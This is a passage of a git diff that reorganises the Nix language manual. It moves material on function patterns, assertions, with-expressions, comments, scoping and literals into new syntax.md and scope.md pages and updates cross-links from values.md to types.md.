-    ```nix
-    { x, y, z, ... }: z + y + x
-    ```
-
-    This works on any set that contains at least the three named
-    attributes.
-
-    It is possible to provide *default values* for attributes, in
-    which case they are allowed to be missing. A default value is
-    specified by writing `name ?  e`, where *e* is an arbitrary
-    expression. For example,
-
-    ```nix
-    { x, y ? "foo", z ? "bar" }: z + y + x
-    ```
-
-    specifies a function that only requires an attribute named `x`, but
-    optionally accepts `y` and `z`.
-
-  - An `@`-pattern provides a means of referring to the whole value
-    being matched:
-
-    ```nix
-    args@{ x, y, z, ... }: z + y + x + args.a
-    ```
-
-    but can also be written as:
-
-    ```nix
-    { x, y, z, ... } @ args: z + y + x + args.a
-    ```
-
-    Here `args` is bound to the argument *as passed*, which is further
-    matched against the pattern `{ x, y, z, ... }`.
-    The `@`-pattern makes mainly sense with an ellipsis(`...`) as
-    you can access attribute names as `a`, using `args.a`, which was
-    given as an additional attribute to the function.
-
-    > **Warning**
-    >
-    > `args@` binds the name `args` to the attribute set that is passed to the function.
-    > In particular, `args` does *not* include any default values specified with `?` in the function's set pattern.
-    >
-    > For instance
-    >
-    > ```nix
-    > let
-    >   f = args@{ a ? 23, ... }: [ a args ];
-    > in
-    >   f {}
-    > ```
-    >
-    > is equivalent to
-    >
-    > ```nix
-    > let
-    >   f = args @ { ... }: [ (args.a or 23) args ];
-    > in
-    >   f {}
-    > ```
-    >
-    > and both expressions will evaluate to:
-    >
-    > ```nix
-    > [ 23 {} ]
-    > ```
-
-Note that functions do not have names. If you want to give them a name,
-you can bind them to an attribute, e.g.,
-
-```nix
-let concat = { x, y }: x + y;
-in concat { x = "foo"; y = "bar"; }
-```
-
-## Conditionals
-
-Conditionals look like this:
-
-```nix
-if e1 then e2 else e3
-```
-
-where *e1* is an expression that should evaluate to a Boolean value
-(`true` or `false`).
-
-## Assertions
-
-Assertions are generally used to check that certain requirements on or
-between features and dependencies hold. They look like this:
-
-```nix
-assert e1; e2
-```
-
-where *e1* is an expression that should evaluate to a Boolean value. If
-it evaluates to `true`, *e2* is returned; otherwise expression
-evaluation is aborted and a backtrace is printed.
-
-Here is a Nix expression for the Subversion package that shows how
-assertions can be used:.
-
-```nix
-{ localServer ? false
-, httpServer ? false
-, sslSupport ? false
-, pythonBindings ? false
-, javaSwigBindings ? false
-, javahlBindings ? false
-, stdenv, fetchurl
-, openssl ? null, httpd ? null, db4 ? null, expat, swig ? null, j2sdk ? null
-}:
-
-assert localServer -> db4 != null; ①
-assert httpServer -> httpd != null && httpd.expat == expat; ②
-assert sslSupport -> openssl != null && (httpServer -> httpd.openssl == openssl); ③
-assert pythonBindings -> swig != null && swig.pythonSupport;
-assert javaSwigBindings -> swig != null && swig.javaSupport;
-assert javahlBindings -> j2sdk != null;
-
-stdenv.mkDerivation {
-  name = "subversion-1.1.1";
-  ...
-  openssl = if sslSupport then openssl else null; ④
-  ...
-}
-```
-
-The points of interest are:
-
-1.  This assertion states that if Subversion is to have support for
-    local repositories, then Berkeley DB is needed. So if the Subversion
-    function is called with the `localServer` argument set to `true` but
-    the `db4` argument set to `null`, then the evaluation fails.
-
-    Note that `->` is the [logical
-    implication](https://en.wikipedia.org/wiki/Truth_table#Logical_implication)
-    Boolean operation.
-
-2.  This is a more subtle condition: if Subversion is built with Apache
-    (`httpServer`) support, then the Expat library (an XML library) used
-    by Subversion should be same as the one used by Apache. This is
-    because in this configuration Subversion code ends up being linked
-    with Apache code, and if the Expat libraries do not match, a build-
-    or runtime link error or incompatibility might occur.
-
-3.  This assertion says that in order for Subversion to have SSL support
-    (so that it can access `https` URLs), an OpenSSL library must be
-    passed. Additionally, it says that *if* Apache support is enabled,
-    then Apache's OpenSSL should match Subversion's. (Note that if
-    Apache support is not enabled, we don't care about Apache's
-    OpenSSL.)
-
-4.  The conditional here is not really related to assertions, but is
-    worth pointing out: it ensures that if SSL support is disabled, then
-    the Subversion derivation is not dependent on OpenSSL, even if a
-    non-`null` value was passed. This prevents an unnecessary rebuild of
-    Subversion if OpenSSL changes.
-
-## With-expressions
-
-A *with-expression*,
-
-```nix
-with e1; e2
-```
-
-introduces the set *e1* into the lexical scope of the expression *e2*.
-For instance,
-
-```nix
-let as = { x = "foo"; y = "bar"; };
-in with as; x + y
-```
-
-evaluates to `"foobar"` since the `with` adds the `x` and `y` attributes
-of `as` to the lexical scope in the expression `x + y`. The most common
-use of `with` is in conjunction with the `import` function. E.g.,
-
-```nix
-with (import ./definitions.nix); ...
-```
-
-makes all attributes defined in the file `definitions.nix` available as
-if they were defined locally in a `let`-expression.
-
-The bindings introduced by `with` do not shadow bindings introduced by
-other means, e.g.
-
-```nix
-let a = 3; in with { a = 1; }; let a = 4; in with { a = 2; }; ...
-```
-
-establishes the same scope as
-
-```nix
-let a = 1; in let a = 2; in let a = 3; in let a = 4; in ...
-```
-
-Variables coming from outer `with` expressions *are* shadowed:
-
-```nix
-with { a = "outer"; };
-with { a = "inner"; };
-a
-```
-
-Does evaluate to `"inner"`.
-
-## Comments
-
-- Inline comments start with `#` and run until the end of the line.
-
-  > **Example**
-  >
-  > ```nix
-  > # A number
-  > 2 # Equals 1 + 1
-  > ```
-  >
-  > ```console
-  > 2
-  > ```
-
-- Block comments start with `/*` and run until the next occurrence of `*/`.
-
-  > **Example**
-  >
-  > ```nix
-  > /*
-  > Block comments
-  > can span multiple lines.
-  > */ "hello"
-  > ```
-  >
-  > ```console
-  > "hello"
-  > ```
-
-  This means that block comments cannot be nested.
-
-  > **Example**
-  >
-  > ```nix
-  > /* /* nope */ */ 1
-  > ```
-  >
-  > ```console
-  > error: syntax error, unexpected '*'
-  >
-  >        at «string»:1:15:
-  >
-  >             1| /* /* nope */ *
-  >              |               ^
-  > ```
-
-  Consider escaping nested comments and unescaping them in post-processing.
-
-  > **Example**
-  >
-  > ```nix
-  > /* /* nested *\/ */ 1
-  > ```
-  >
-  > ```console
-  > 1
-  > ```
-
-## Scoping rules
-
-Nix is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope), but with multiple scopes and shadowing rules.
-
-* primary scope --- explicitly-bound variables
-  * [`let`](#let-expressions)
-  * [`inherit`](#inheriting-attributes)
-  * function arguments
-
-* secondary scope --- implicitly-bound variables
-  * [`with`](#with-expressions)
-Primary scope takes precedence over secondary scope.
-See [`with`](#with-expressions) for a detailed example.
diff --git a/doc/manual/src/language/constructs/lookup-path.md b/doc/manual/src/language/constructs/lookup-path.md
index e87d2922bd3..11278f3a81c 100644
--- a/doc/manual/src/language/constructs/lookup-path.md
+++ b/doc/manual/src/language/constructs/lookup-path.md
@@ -4,7 +4,7 @@
 >
 > *lookup-path* = `<` *identifier* [ `/` *identifier* ]... `>`
 
-A lookup path is an identifier with an optional path suffix that resolves to a [path value](@docroot@/language/values.md#type-path) if the identifier matches a search path entry.
+A lookup path is an identifier with an optional path suffix that resolves to a [path value](@docroot@/language/types.md#type-path) if the identifier matches a search path entry.
 
 The value of a lookup path is determined by [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath).
 
diff --git a/doc/manual/src/language/derivations.md b/doc/manual/src/language/derivations.md
index b95900cdd16..8879fe7069d 100644
--- a/doc/manual/src/language/derivations.md
+++ b/doc/manual/src/language/derivations.md
@@ -12,7 +12,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect
 
 ### Required
 
-- [`name`]{#attr-name} ([String](@docroot@/language/values.md#type-string))
+- [`name`]{#attr-name} ([String](@docroot@/language/types.md#type-string))
 
   A symbolic name for the derivation.
   It is added to the [store path] of the corresponding [store derivation] as well as to its [output paths](@docroot@/glossary.md#gloss-output-path).
@@ -31,7 +31,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect
   > The store derivation's path will be `/nix/store/<hash>-hello.drv`.
   > The [output](#attr-outputs) paths will be of the form `/nix/store/<hash>-hello[-<output>]`
 
-- [`system`]{#attr-system} ([String](@docroot@/language/values.md#type-string))
+- [`system`]{#attr-system} ([String](@docroot@/language/types.md#type-string))
 
   The system type on which the [`builder`](#attr-builder) executable is meant to be run.
 
@@ -66,7 +66,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect
   >
   > [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem) has the value of the [`system` configuration option], and defaults to the system type of the current Nix installation.
 
-- [`builder`]{#attr-builder} ([Path](@docroot@/language/values.md#type-path) | [String](@docroot@/language/values.md#type-string))
+- [`builder`]{#attr-builder} ([Path](@docroot@/language/types.md#type-path) | [String](@docroot@/language/types.md#type-string))
 
   Path to an executable that will perform the build.
 
@@ -113,7 +113,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect
 
 ### Optional
 
-- [`args`]{#attr-args} ([List](@docroot@/language/values.md#list) of [String](@docroot@/language/values.md#type-string))
+- [`args`]{#attr-args} ([List](@docroot@/language/types.md#list) of [String](@docroot@/language/types.md#type-string))
 
   Default: `[ ]`
 
@@ -132,7 +132,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect
   > };
   > ```
 
-- [`outputs`]{#attr-outputs} ([List](@docroot@/language/values.md#list) of [String](@docroot@/language/values.md#type-string))
+- [`outputs`]{#attr-outputs} ([List](@docroot@/language/types.md#list) of [String](@docroot@/language/types.md#type-string))
 
   Default: `[ "out" ]`
 
diff --git a/doc/manual/src/language/index.md b/doc/manual/src/language/index.md
index 3694480d718..2bfdbb8a0c6 100644
--- a/doc/manual/src/language/index.md
+++ b/doc/manual/src/language/index.md
@@ -53,7 +53,7 @@ This is an incomplete overview of language features, by example.
   <td>
 
 
-   *Basic values ([primitives](@docroot@/language/values.md#primitives))*
+   *Basic values ([primitives](@docroot@/language/types.md#primitives))*
 
 
   </td>
@@ -71,7 +71,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [string](@docroot@/language/values.md#type-string)
+   A [string](@docroot@/language/types.md#type-string)
 
   </td>
  </tr>
@@ -102,7 +102,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [comment](@docroot@/language/constructs.md#comments).
+   A [comment](@docroot@/language/syntax.md#comments).
 
   </td>
  </tr>
@@ -130,7 +130,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   [Booleans](@docroot@/language/values.md#type-boolean)
+   [Booleans](@docroot@/language/types.md#type-boolean)
 
   </td>
  </tr>
@@ -142,7 +142,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   [Null](@docroot@/language/values.md#type-null) value
+   [Null](@docroot@/language/types.md#type-null) value
 
   </td>
  </tr>
@@ -154,7 +154,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   An [integer](@docroot@/language/values.md#type-number)
+   An [integer](@docroot@/language/types.md#type-int)
 
   </td>
  </tr>
@@ -166,7 +166,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [floating point number](@docroot@/language/values.md#type-number)
+   A [floating point number](@docroot@/language/types.md#type-float)
 
   </td>
  </tr>
@@ -178,7 +178,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   An absolute [path](@docroot@/language/values.md#type-path)
+   An absolute [path](@docroot@/language/types.md#type-path)
 
   </td>
  </tr>
@@ -190,7 +190,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [path](@docroot@/language/values.md#type-path) relative to the file containing this Nix expression
+   A [path](@docroot@/language/types.md#type-path) relative to the file containing this Nix expression
 
   </td>
  </tr>
@@ -202,7 +202,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A home [path](@docroot@/language/values.md#type-path). Evaluates to the `"<user's home directory>/.config"`.
+   A home [path](@docroot@/language/types.md#type-path). Evaluates to the `"<user's home directory>/.config"`.
 
   </td>
  </tr>
@@ -238,7 +238,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   An [attribute set](@docroot@/language/values.md#attribute-set) with attributes named `x` and `y`
+   An [attribute set](@docroot@/language/types.md#attribute-set) with attributes named `x` and `y`
 
   </td>
  </tr>
@@ -262,7 +262,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [recursive set](@docroot@/language/constructs.md#recursive-sets), equivalent to `{ x = "foo"; y = "foobar"; }`.
+   A [recursive set](@docroot@/language/syntax.md#recursive-sets), equivalent to `{ x = "foo"; y = "foobar"; }`.
 
   </td>
  </tr>
@@ -278,7 +278,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   [Lists](@docroot@/language/values.md#list) with three elements.
+   [Lists](@docroot@/language/types.md#list) with three elements.
 
   </td>
  </tr>
@@ -362,7 +362,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   [Attribute selection](@docroot@/language/values.md#attribute-set) (evaluates to `1`)
+   [Attribute selection](@docroot@/language/types.md#attribute-set) (evaluates to `1`)
 
   </td>
  </tr>
@@ -374,7 +374,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   [Attribute selection](@docroot@/language/values.md#attribute-set) with default (evaluates to `3`)
+   [Attribute selection](@docroot@/language/types.md#attribute-set) with default (evaluates to `3`)
 
   </td>
  </tr>
@@ -410,7 +410,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   [Conditional expression](@docroot@/language/constructs.md#conditionals).
+   [Conditional expression](@docroot@/language/syntax.md#conditionals).
 
   </td>
  </tr>
@@ -422,7 +422,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   [Assertion](@docroot@/language/constructs.md#assertions) check (evaluates to `"yes!"`).
+   [Assertion](@docroot@/language/syntax.md#assertions) check (evaluates to `"yes!"`).
 
   </td>
  </tr>
@@ -434,7 +434,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Variable definition. See [`let`-expressions](@docroot@/language/constructs.md#let-expressions).
+   Variable definition. See [`let`-expressions](@docroot@/language/syntax.md#let-expressions).
 
   </td>
  </tr>
@@ -448,7 +448,7 @@ This is an incomplete overview of language features, by example.
 
    Add all attributes from the given set to the scope (evaluates to `1`).
 
-   See [`with`-expressions](@docroot@/language/constructs.md#with-expressions) for details and shadowing caveats.
+   See [`with`-expressions](@docroot@/language/syntax.md#with-expressions) for details and shadowing caveats.
 
   </td>
  </tr>
@@ -462,7 +462,7 @@ This is an incomplete overview of language features, by example.
 
    Adds the variables to the current scope (attribute set or `let` binding).
    Desugars to `pkgs = pkgs; src = src;`.
-   See [Inheriting attributes](@docroot@/language/constructs.md#inheriting-attributes).
+   See [Inheriting attributes](@docroot@/language/syntax.md#inheriting-attributes).
 
   </td>
  </tr>
@@ -476,14 +476,14 @@ This is an incomplete overview of language features, by example.
 
    Adds the attributes, from the attribute set in parentheses, to the current scope (attribute set or `let` binding).
    Desugars to `lib = pkgs.lib; stdenv = pkgs.stdenv;`.
-   See [Inheriting attributes](@docroot@/language/constructs.md#inheriting-attributes).
+   See [Inheriting attributes](@docroot@/language/syntax.md#inheriting-attributes).
 
   </td>
  </tr>
  <tr>
   <td>
 
-   *[Functions](@docroot@/language/constructs.md#functions) (lambdas)*
+   *[Functions](@docroot@/language/syntax.md#functions) (lambdas)*
 
   </td>
   <td>
@@ -500,7 +500,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [function](@docroot@/language/constructs.md#functions) that expects an integer and returns it increased by 1.
+   A [function](@docroot@/language/syntax.md#functions) that expects an integer and returns it increased by 1.
 
   </td>
  </tr>
@@ -512,7 +512,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Curried [function](@docroot@/language/constructs.md#functions), equivalent to `x: (y: x + y)`. Can be used like a function that takes two arguments and returns their sum.
+   Curried [function](@docroot@/language/syntax.md#functions), equivalent to `x: (y: x + y)`. Can be used like a function that takes two arguments and returns their sum.
 
   </td>
  </tr>
@@ -524,7 +524,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [function](@docroot@/language/constructs.md#functions) call (evaluates to 101)
+   A [function](@docroot@/language/syntax.md#functions) call (evaluates to 101)
 
   </td>
  </tr>
@@ -536,7 +536,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [function](@docroot@/language/constructs.md#functions) bound to a variable and subsequently called by name (evaluates to 103)
+   A [function](@docroot@/language/syntax.md#functions) bound to a variable and subsequently called by name (evaluates to 103)
 
   </td>
  </tr>
@@ -548,7 +548,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y` and concatenates them
+   A [function](@docroot@/language/syntax.md#functions) that expects a set with required attributes `x` and `y` and concatenates them
 
   </td>
  </tr>
@@ -560,7 +560,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [function](@docroot@/language/constructs.md#functions) that expects a set with required attribute `x` and optional `y`, using `"bar"` as default value for `y`
+   A [function](@docroot@/language/syntax.md#functions) that expects a set with required attribute `x` and optional `y`, using `"bar"` as default value for `y`
 
   </td>
  </tr>
@@ -572,7 +572,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y` and ignores any other attributes
+   A [function](@docroot@/language/syntax.md#functions) that expects a set with required attributes `x` and `y` and ignores any other attributes
 
   </td>
  </tr>
@@ -586,7 +586,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y`, and binds the whole set to `args`
+   A [function](@docroot@/language/syntax.md#functions) that expects a set with required attributes `x` and `y`, and binds the whole set to `args`
 
   </td>
  </tr>
diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md
index 9e5ab52a210..9660a764d92 100644
--- a/doc/manual/src/language/operators.md
+++ b/doc/manual/src/language/operators.md
@@ -27,11 +27,11 @@
 | Logical disjunction (`OR`)             | *bool* <code>\|\|</code> *bool*            | left          | 13         |
 | [Logical implication]                  | *bool* `->` *bool*                         | right         | 14         |
 
-[string]: ./values.md#type-string
-[path]: ./values.md#type-path
-[number]: ./values.md#type-number
-[list]: ./values.md#list
-[attribute set]: ./values.md#attribute-set
+[string]: ./types.md#type-string
+[path]: ./types.md#type-path
+[number]: ./types.md#type-float <!-- TODO(@rhendric, #10970): rationalize this -->
+[list]: ./types.md#list
+[attribute set]: ./types.md#attribute-set
 
 ## Attribute selection
 
@@ -42,7 +42,7 @@
 Select the attribute denoted by attribute path *attrpath* from [attribute set] *attrset*.
 If the attribute doesn’t exist, return the *expr* after `or` if provided, otherwise abort evaluation.
 
-An attribute path is a dot-separated list of [attribute names](./values.md#attribute-set).
+An attribute path is a dot-separated list of [attribute names](./types.md#attribute-set).
 
 > **Syntax**
 >
@@ -61,7 +61,7 @@ The result is a [Boolean] value.
 
 See also: [`builtins.hasAttr`](@docroot@/language/builtins.md#builtins-hasAttr)
 
-[Boolean]: ./values.md#type-boolean
+[Boolean]: ./types.md#type-boolean
 
 [Has attribute]: #has-attribute
 
@@ -172,7 +172,7 @@ All comparison operators are implemented in terms of `<`, and the following equi
 - Numbers are type-compatible, see [arithmetic] operators.
 - Floating point numbers only differ up to a limited precision.
 
-[function]: ./constructs.md#functions
+[function]: ./syntax.md#functions
 
 [Equality]: #equality
 
diff --git a/doc/manual/src/language/scope.md b/doc/manual/src/language/scope.md
new file mode 100644
index 00000000000..5c6aed38d31
--- /dev/null
+++ b/doc/manual/src/language/scope.md
@@ -0,0 +1,14 @@
+# Scoping rules
+
+Nix is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope), but with multiple scopes and shadowing rules.
+
+* primary scope: explicitly-bound variables
+  * [`let`](./syntax.md#let-expressions)
+  * [`inherit`](./syntax.md#inheriting-attributes)
+  * [function](./syntax.md#functions) arguments
+
+* secondary scope: implicitly-bound variables
+  * [`with`](./syntax.md#with-expressions)
+
+Primary scope takes precedence over secondary scope.
+See [`with`](./syntax.md#with-expressions) for a detailed example.
diff --git a/doc/manual/src/language/string-context.md b/doc/manual/src/language/string-context.md
index 88ae0d8b0a1..6a3482cfd95 100644
--- a/doc/manual/src/language/string-context.md
+++ b/doc/manual/src/language/string-context.md
@@ -111,7 +111,7 @@ It creates an [attribute set] representing the string context, which can be insp
 
 [`builtins.hasContext`]: ./builtins.md#builtins-hasContext
 [`builtins.getContext`]: ./builtins.md#builtins-getContext
-[attribute set]: ./values.md#attribute-set
+[attribute set]: ./types.md#attribute-set
 
 ## Clearing string contexts
 
diff --git a/doc/manual/src/language/string-interpolation.md b/doc/manual/src/language/string-interpolation.md
index 7b4a5cfef2d..1778bdfa06b 100644
--- a/doc/manual/src/language/string-interpolation.md
+++ b/doc/manual/src/language/string-interpolation.md
@@ -4,9 +4,9 @@ String interpolation is a language feature where a [string], [path], or [attribu
 
 Such a construct is called *interpolated string*, and the expression inside is an [interpolated expression](#interpolated-expression).
 
-[string]: ./values.md#type-string
-[path]: ./values.md#type-path
-[attribute set]: ./values.md#attribute-set
+[string]: ./types.md#type-string
+[path]: ./types.md#type-path
+[attribute set]: ./types.md#attribute-set
 
 ## Examples
 
diff --git a/doc/manual/src/language/syntax.md b/doc/manual/src/language/syntax.md
new file mode 100644
index 00000000000..238c502f979
--- /dev/null
+++ b/doc/manual/src/language/syntax.md
@@ -0,0 +1,841 @@
+# Language Constructs
+
+This section covers syntax and semantics of the Nix language.
+
+## Basic Literals
+
+### String {#string-literal}
+
+  *Strings* can be written in three ways.
+
+  The most common way is to enclose the string between double quotes, e.g., `"foo bar"`.
+  Strings can span multiple lines.
+  The results of other expressions can be included into a string by enclosing them in `${ }`, a feature known as [string interpolation].
+
+  [string interpolation]: ./string-interpolation.md
+
+  The following must be escaped to represent them within a string, by prefixing with a backslash (`\`):
+
+  - Double quote (`"`)
+
+    > **Example**
+    >
+    > ```nix
+    > "\""
+    > ```
+    >
+    >    "\""
+
+  - Backslash (`\`)
+
+    > **Example**
+    >
+    > ```nix
+    > "\\"
+    > ```
+    >
+    >    "\\"
+
+  - Dollar sign followed by an opening curly bracket (`${`) – "dollar-curly"
+
+    > **Example**
+    >
+    > ```nix
+    > "\${"
+    > ```
+    >
+    >    "\${"
+
+  The newline, carriage return, and tab characters can be written as `\n`, `\r` and `\t`, respectively.
+
+  A "double-dollar-curly" (`$${`) can be written literally.
+
+  > **Example**
+  >
+  > ```nix
+  > "$${"
+  > ```
+  >
+  >    "$\${"
+
+  String values are output on the terminal with Nix-specific escaping.
+  Strings written to files will contain the characters encoded by the escaping.
+
+  The second way to write string literals is as an *indented string*, which is enclosed between pairs of *double single-quotes* (`''`), like so:
+
+  ```nix
+  ''
+    This is the first line.
+    This is the second line.
+      This is the third line.
+  ''
+  ```
+
+  This kind of string literal intelligently strips indentation from
+  the start of each line. To be precise, it strips from each line a
+  number of spaces equal to the minimal indentation of the string as a
+  whole (disregarding the indentation of empty lines). For instance,
+  the first and second line are indented two spaces, while the third
+  line is indented four spaces. Thus, two spaces are stripped from
+  each line, so the resulting string is
+
+  ```nix
+  "This is the first line.\nThis is the second line.\n  This is the third line.\n"
+  ```
+
+  > **Note**
+  >
+  > Whitespace and newline following the opening `''` is ignored if there is no non-whitespace text on the initial line.
+
+  > **Warning**
+  >
+  > Prefixed tab characters are not stripped.
+  >
+  > > **Example**
+  > >
+  > > The following indented string is prefixed with tabs:
+  > >
+  > > ''
+  > > 	all:
+  > > 		@echo hello
+  > > ''
+  > >
+  > >     "\tall:\n\t\t@echo hello\n"
+
+  Indented strings support [string interpolation].
+
+  The following must be escaped to represent them in an indented string:
+
+  - `$` is escaped by prefixing it with two single quotes (`''`)
+
+    > **Example**
+    >
+    > ```nix
+    > ''
+    >   ''$
+    > ''
+    > ```
+    >
+    >     "$\n"
+
+  - `''` is escaped by prefixing it with one single quote (`'`)
+
+    > **Example**
+    >
+    > ```nix
+    > ''
+    >   '''
+    > ''
+    > ```
+    >
+    >     "''\n"
+
+  These special characters are escaped as follows:
+  - Linefeed (`\n`): `''\n`
+  - Carriage return (`\r`): `''\r`
+  - Tab (`\t`): `''\t`
+
+  `''\` escapes any other character.
+
+  A "double-dollar-curly" (`$${`) can be written literally.
+
+  > **Example**
+  >
+  > ```nix
+  > ''
+  >   $${
+  > ''
+  > ```
+  >
+  >     "$\${\n"
+
+  Indented strings are primarily useful in that they allow multi-line
+  string literals to follow the indentation of the enclosing Nix
+  expression, and that less escaping is typically necessary for
+  strings representing languages such as shell scripts and
+  configuration files because `''` is much less common than `"`.
+  Example:
+
+  ```nix
+  stdenv.mkDerivation {
+    ...
+    postInstall =
+      ''
+        mkdir $out/bin $out/etc
+        cp foo $out/bin
+        echo "Hello World" > $out/etc/foo.conf
+        ${if enableBar then "cp bar $out/bin" else ""}
+      '';
+    ...
+  }
+  ```
+
+  Finally, as a convenience, *URIs* as defined in appendix B of
+  [RFC 2396](http://www.ietf.org/rfc/rfc2396.txt) can be written *as
+  is*, without quotes. For instance, the string
+  `"http://example.org/foo.tar.bz2"` can also be written as
+  `http://example.org/foo.tar.bz2`.
+
+### Number {#number-literal}
+
+<!-- TODO(@rhendric, #10970): split this into int and float -->
+
+  Numbers, which can be *integers* (like `123`) or *floating point*
+  (like `123.43` or `.27e13`).
+
+  See [arithmetic] and [comparison] operators for semantics.
+
+  [arithmetic]: ./operators.md#arithmetic
+  [comparison]: ./operators.md#comparison
+
+### Path {#path-literal}
+
+  *Paths* are distinct from strings and can be expressed by path literals such as `./builder.sh`.
+
+  Paths are suitable for referring to local files, and are often preferable over strings.
+  - Path values do not contain trailing slashes, `.` and `..`, as they are resolved when evaluating a path literal.
+  - Path literals are automatically resolved relative to their [base directory](@docroot@/glossary.md#gloss-base-directory).
+  - The files referred to by path values are automatically copied into the Nix store when used in a string interpolation or concatenation.
+  - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file.
+
+  A path literal must contain at least one slash to be recognised as such.
+  For instance, `builder.sh` is not a path:
+  it's parsed as an expression that selects the attribute `sh` from the variable `builder`.
+
+  Path literals may also refer to absolute paths by starting with a slash.
+
+  > **Note**
+  >
+  > Absolute paths make expressions less portable.
+  > In the case where a function translates a path literal into an absolute path string for a configuration file, it is recommended to write a string literal instead.
+  > This avoids some confusion about whether files at that location will be used during evaluation.
+  > It also avoids unintentional situations where some function might try to copy everything at the location into the store.
+
+  If the first component of a path is a `~`, it is interpreted such that the rest of the path were relative to the user's home directory.
+  For example, `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`.
+  Path literals that start with `~` are not allowed in [pure](@docroot@/command-ref/conf-file.md#conf-pure-eval) evaluation.
+
+  Paths can be used in [string interpolation] and string concatenation.
+  For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` from the same directory to be copied into the Nix store and result in the string `"/nix/store/<hash>-foo.txt"`.
+
+  Note that the Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression.
+  For example, assume you used a file path in an interpolated string during a `nix repl` session.
+  Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. Use `:r` to reset the repl as needed.
+
+  [store path]: @docroot@/store/store-path.md
+
+  Path literals can also include [string interpolation], besides being [interpolated into other expressions].
+
+  [interpolated into other expressions]: ./string-interpolation.md#interpolated-expressions
+
+  At least one slash (`/`) must appear *before* any interpolated expression for the result to be recognized as a path.
+
+  `a.${foo}/b.${bar}` is a syntactically valid number division operation.
+  `./a.${foo}/b.${bar}` is a path.
+
+  [Lookup path](./constructs/lookup-path.md) literals such as `<nixpkgs>` also resolve to path values.
+
+## List {#list-literal}
+
+Lists are formed by enclosing a whitespace-separated list of values
+between square brackets. For example,
+
+```nix
+[ 123 ./foo.nix "abc" (f { x = y; }) ]
+```
+
+defines a list of four elements, the last being the result of a call to
+the function `f`. Note that function calls have to be enclosed in
+parentheses. If they had been omitted, e.g.,
+
+```nix
+[ 123 ./foo.nix "abc" f { x = y; } ]
+```
+
+the result would be a list of five elements, the fourth one being a
+function and the fifth being a set.
+
+Note that lists are only lazy in values, and they are strict in length.
+
+Elements in a list can be accessed using [`builtins.elemAt`](./builtins.md#builtins-elemAt).
+
+## Attribute Set {#attrs-literal}
+
+An attribute set is a collection of name-value-pairs (called *attributes*) enclosed in curly brackets (`{ }`).
+
+An attribute name can be an identifier or a [string](#string).
+An identifier must start with a letter (`a-z`, `A-Z`) or underscore (`_`), and can otherwise contain letters (`a-z`, `A-Z`), numbers (`0-9`), underscores (`_`), apostrophes (`'`), or dashes (`-`).
+
+> **Syntax**
+>
+> *name* = *identifier* | *string* \
+> *identifier* ~ `[a-zA-Z_][a-zA-Z0-9_'-]*`
+
+Names and values are separated by an equal sign (`=`).
+Each value is an arbitrary expression terminated by a semicolon (`;`).
+
+> **Syntax**
+>
+> *attrset* = `{` [ *name* `=` *expr* `;` ]... `}`
+
+Attributes can appear in any order.
+An attribute name may only occur once.
+
+Example:
+
+```nix
+{
+  x = 123;
+  text = "Hello";
+  y = f { bla = 456; };
+}
+```
+
+This defines a set with attributes named `x`, `text`, `y`.
+
+Attributes can be accessed with the [`.` operator](./operators.md#attribute-selection).
+
+Example:
+
+```nix
+{ a = "Foo"; b = "Bar"; }.a
+```
+
+This evaluates to `"Foo"`.
+
+It is possible to provide a default value in an attribute selection using the `or` keyword.
+
+Example:
+
+```nix
+{ a = "Foo"; b = "Bar"; }.c or "Xyzzy"
+```
+
+```nix
+{ a = "Foo"; b = "Bar"; }.c.d.e.f.g or "Xyzzy"
+```
+
+will both evaluate to `"Xyzzy"` because there is no `c` attribute in the set.
+
+You can use arbitrary double-quoted strings as attribute names:
+
+```nix
+{ "$!@#?" = 123; }."$!@#?"
+```
+
+```nix
+let bar = "bar"; in
